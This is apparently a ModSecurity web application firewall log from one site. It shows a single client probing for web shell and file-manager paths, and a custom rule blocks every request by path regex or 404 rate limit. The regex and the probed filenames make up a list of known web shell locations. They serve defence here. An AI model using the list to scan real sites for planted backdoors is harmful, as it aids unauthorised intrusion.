[Mon Apr 06 18:53:36.152163 2026] [:error] [pid 35688:tid 35756] [client 74.248.150.154:5461] [client 74.248.150.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "adOQsOZ85qg4jLsRpQx0aQAAAIY"]
[Mon Apr 06 18:53:52.563031 2026] [:error] [pid 9442:tid 9451] [client 74.248.150.154:55443] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOQwEPsNnAJTnmz6saGNAAAAQc"]
[Mon Apr 06 18:53:56.489533 2026] [:error] [pid 35688:tid 35761] [client 74.248.150.154:36622] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOQxOZ85qg4jLsRpQx0rgAAAIs"]
[Mon Apr 06 18:54:01.901571 2026] [:error] [pid 35688:tid 35751] [client 74.248.150.154:5435] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOQyeZ85qg4jLsRpQx00QAAAIE"]
[Mon Apr 06 18:54:01.912622 2026] [:error] [pid 35688:tid 35766] [client 74.248.150.154:43005] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOQyeZ85qg4jLsRpQx00gAAAJA"]
[Mon Apr 06 18:54:05.600305 2026] [:error] [pid 35688:tid 35758] [client 74.248.150.154:44203] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/webroot/filemanager.php"] [unique_id "adOQzeZ85qg4jLsRpQx04gAAAIg"]
[Mon Apr 06 18:54:07.756921 2026] [:error] [pid 38562:tid 38588] [client 74.248.150.154:53105] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOQz6eD6Ohe6wzRuy5o3AAAAVc"]
[Mon Apr 06 18:54:11.585294 2026] [:error] [pid 38562:tid 38569] [client 74.248.150.154:54966] [client 74.248.150.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "adOQ06eD6Ohe6wzRuy5o6AAAAUQ"]
[Mon Apr 06 18:54:14.817294 2026] [:error] [pid 35688:tid 35761] [client 74.248.150.154:5406] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOQ1uZ85qg4jLsRpQx0_gAAAIs"]
[Mon Apr 06 18:54:17.256018 2026] [:error] [pid 9442:tid 9463] [client 74.248.150.154:42578] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOQ2UPsNnAJTnmz6saGSAAAARM"]
[Mon Apr 06 18:54:20.207826 2026] [:error] [pid 1827:tid 1832] [client 74.248.150.154:44942] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOQ3OVeb6S_DnjZ2xH5rgAAAgM"]
[Mon Apr 06 18:54:27.447004 2026] [:error] [pid 10280:tid 10291] [client 74.248.150.154:38535] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "adOQ418QUJkf8g-BFfPORwAAAcg"]
[Mon Apr 06 18:54:31.173924 2026] [:error] [pid 35686:tid 35700] [client 74.248.150.154:40275] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOQ58MKdea6oORd2fzEgAAAAAQ"]
[Mon Apr 06 18:54:32.201676 2026] [:error] [pid 35687:tid 35734] [client 74.248.150.154:37550] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOQ6J3LtDozV0i8Bitb3gAAAEs"]
[Mon Apr 06 18:54:33.367625 2026] [:error] [pid 38562:tid 38565] [client 74.248.150.154:48676] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOQ6aeD6Ohe6wzRuy5pAwAAAUA"]
[Mon Apr 06 18:54:35.816569 2026] [:error] [pid 9442:tid 9457] [client 74.248.150.154:35506] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOQ60PsNnAJTnmz6saGiQAAAQ0"]
[Mon Apr 06 18:54:37.501053 2026] [:error] [pid 10280:tid 10285] [client 74.248.150.154:43696] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOQ7V8QUJkf8g-BFfPOTQAAAcI"]
[Mon Apr 06 18:54:38.908970 2026] [:error] [pid 9442:tid 9467] [client 74.248.150.154:58639] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOQ7kPsNnAJTnmz6saGsQAAARc"]
[Mon Apr 06 18:54:40.416578 2026] [:error] [pid 35688:tid 35752] [client 74.248.150.154:35474] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOQ8OZ85qg4jLsRpQx1SwAAAII"]
[Mon Apr 06 18:54:43.206667 2026] [:error] [pid 10280:tid 10290] [client 74.248.150.154:47517] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/filemanager.php"] [unique_id "adOQ818QUJkf8g-BFfPOVwAAAcc"]
[Mon Apr 06 18:54:44.967607 2026] [:error] [pid 9413:tid 9438] [client 74.248.150.154:42501] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/voga/sallu.php"] [unique_id "adOQ9HllvEK3chn01wG3pAAAAZc"]
[Mon Apr 06 18:54:49.207490 2026] [:error] [pid 35688:tid 35754] [client 74.248.150.154:57493] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/voga/sallu.php"] [unique_id "adOQ-eZ85qg4jLsRpQx1bwAAAIQ"]
[Mon Apr 06 18:55:12.121254 2026] [:error] [pid 1827:tid 1850] [client 74.248.150.154:57961] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOREOVeb6S_DnjZ2xH5_wAAAhU"]
[Mon Apr 06 18:55:16.246108 2026] [:error] [pid 10280:tid 10303] [client 74.248.150.154:53526] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adORFF8QUJkf8g-BFfPOlAAAAdQ"]
[Mon Apr 06 18:55:22.086959 2026] [:error] [pid 35688:tid 35774] [client 74.248.150.154:40193] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adORGuZ85qg4jLsRpQx10QAAAJg"]
[Mon Apr 06 18:55:23.612903 2026] [:error] [pid 35687:tid 35736] [client 74.248.150.154:47137] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adORG53LtDozV0i8BitcEgAAAE0"]
[Mon Apr 06 18:55:25.057454 2026] [:error] [pid 10280:tid 10291] [client 74.248.150.154:43664] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adORHV8QUJkf8g-BFfPOmwAAAcg"]
[Mon Apr 06 18:55:26.238427 2026] [:error] [pid 38562:tid 38584] [client 74.248.150.154:37542] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adORHqeD6Ohe6wzRuy5pMAAAAVM"]
[Mon Apr 06 18:55:30.198035 2026] [:error] [pid 35688:tid 35759] [client 74.248.150.154:38031] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adORIuZ85qg4jLsRpQx17gAAAIk"]
[Mon Apr 06 18:55:35.864533 2026] [:error] [pid 35688:tid 35768] [client 74.248.150.154:35964] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adORJ-Z85qg4jLsRpQx2BQAAAJI"]
[Mon Apr 06 18:55:38.340705 2026] [:error] [pid 1827:tid 1834] [client 74.248.150.154:5769] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adORKuVeb6S_DnjZ2xH6HgAAAgU"]
[Mon Apr 06 18:55:41.434762 2026] [:error] [pid 38562:tid 38569] [client 74.248.150.154:5145] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adORLaeD6Ohe6wzRuy5pQQAAAUQ"]
[Mon Apr 06 18:55:44.952873 2026] [:error] [pid 35688:tid 35769] [client 74.248.150.154:6094] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adORMOZ85qg4jLsRpQx2GAAAAJM"]
[Mon Apr 06 18:55:46.668419 2026] [:error] [pid 35688:tid 35761] [client 74.248.150.154:49154] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adORMuZ85qg4jLsRpQx2HwAAAIs"]
[Mon Apr 06 18:56:01.962555 2026] [:error] [pid 9442:tid 9444] [client 74.248.150.154:37451] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adORQUPsNnAJTnmz6saHpQAAAQA"]
[Mon Apr 06 18:56:04.607785 2026] [:error] [pid 35688:tid 35771] [client 74.248.150.154:39596] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adORROZ85qg4jLsRpQx2fwAAAJU"]
[Mon Apr 06 18:56:06.345726 2026] [:error] [pid 35688:tid 35758] [client 74.248.150.154:49669] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adORRuZ85qg4jLsRpQx2jAAAAIg"]
[Mon Apr 06 18:56:08.271473 2026] [:error] [pid 35688:tid 35770] [client 74.248.150.154:42237] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "adORSOZ85qg4jLsRpQx2nQAAAJQ"]
[Mon Apr 06 18:56:30.130662 2026] [:error] [pid 9413:tid 9435] [client 74.248.150.154:52267] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adORXnllvEK3chn01wG32gAAAZQ"]
[Mon Apr 06 18:56:35.934697 2026] [:error] [pid 35687:tid 35743] [client 74.248.150.154:35892] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adORY53LtDozV0i8BitcOAAAAFQ"]
[Mon Apr 06 18:56:37.417786 2026] [:error] [pid 35786:tid 35809] [client 74.248.150.154:57140] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adORZWgkfCKTaLhwaKQSggAAANA"]
[Mon Apr 06 18:56:38.341633 2026] [:error] [pid 35688:tid 35751] [client 74.248.150.154:47338] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inde.php"] [unique_id "adORZuZ85qg4jLsRpQx2-QAAAIE"]
[Mon Apr 06 18:56:40.207036 2026] [:error] [pid 10280:tid 10307] [client 74.248.150.154:56738] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adORaF8QUJkf8g-BFfPPiAAAAdg"]
[Mon Apr 06 18:56:46.259766 2026] [:error] [pid 9413:tid 9418] [client 74.248.150.154:56802] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adORbnllvEK3chn01wG36AAAAYM"]
[Mon Apr 06 18:56:47.616142 2026] [:error] [pid 38562:tid 38568] [client 74.248.150.154:44126] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adORb6eD6Ohe6wzRuy5pnQAAAUM"]
[Mon Apr 06 18:56:48.906305 2026] [:error] [pid 9442:tid 9448] [client 74.248.150.154:52587] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "adORcEPsNnAJTnmz6saH8gAAAQQ"]
[Mon Apr 06 18:56:50.016946 2026] [:error] [pid 38562:tid 38588] [client 74.248.150.154:42257] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adORcqeD6Ohe6wzRuy5poAAAAVc"]
[Mon Apr 06 18:56:51.044676 2026] [:error] [pid 38562:tid 38566] [client 74.248.150.154:56712] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adORc6eD6Ohe6wzRuy5ppgAAAUE"]
[Mon Apr 06 18:56:58.197898 2026] [:error] [pid 9442:tid 9446] [client 74.248.150.154:52607] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "adORekPsNnAJTnmz6saICgAAAQI"]
[Mon Apr 06 18:57:06.054022 2026] [:error] [pid 35688:tid 35759] [client 74.248.150.154:63656] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adORguZ85qg4jLsRpQx3MgAAAIk"]
[Mon Apr 06 18:57:10.286990 2026] [:error] [pid 35687:tid 35740] [client 74.248.150.154:51824] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adORhp3LtDozV0i8BitcUgAAAFE"]
[Mon Apr 06 18:57:12.850453 2026] [:error] [pid 9442:tid 9456] [client 74.248.150.154:49518] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adORiEPsNnAJTnmz6saIJwAAAQw"]
[Mon Apr 06 18:57:15.309942 2026] [:error] [pid 9413:tid 9426] [client 74.248.150.154:63625] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "adORi3llvEK3chn01wG38gAAAYs"]
[Mon Apr 06 18:57:16.400776 2026] [:error] [pid 10280:tid 10301] [client 74.248.150.154:46207] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adORjF8QUJkf8g-BFfPPxgAAAdI"]
[Mon Apr 06 18:57:24.208970 2026] [:error] [pid 1827:tid 1842] [client 74.248.150.154:40586] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "adORlOVeb6S_DnjZ2xH6fAAAAg0"]
[Mon Apr 06 18:57:51.812859 2026] [:error] [pid 35786:tid 35809] [client 74.248.150.154:40593] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "adORr2gkfCKTaLhwaKQSpgAAANA"]
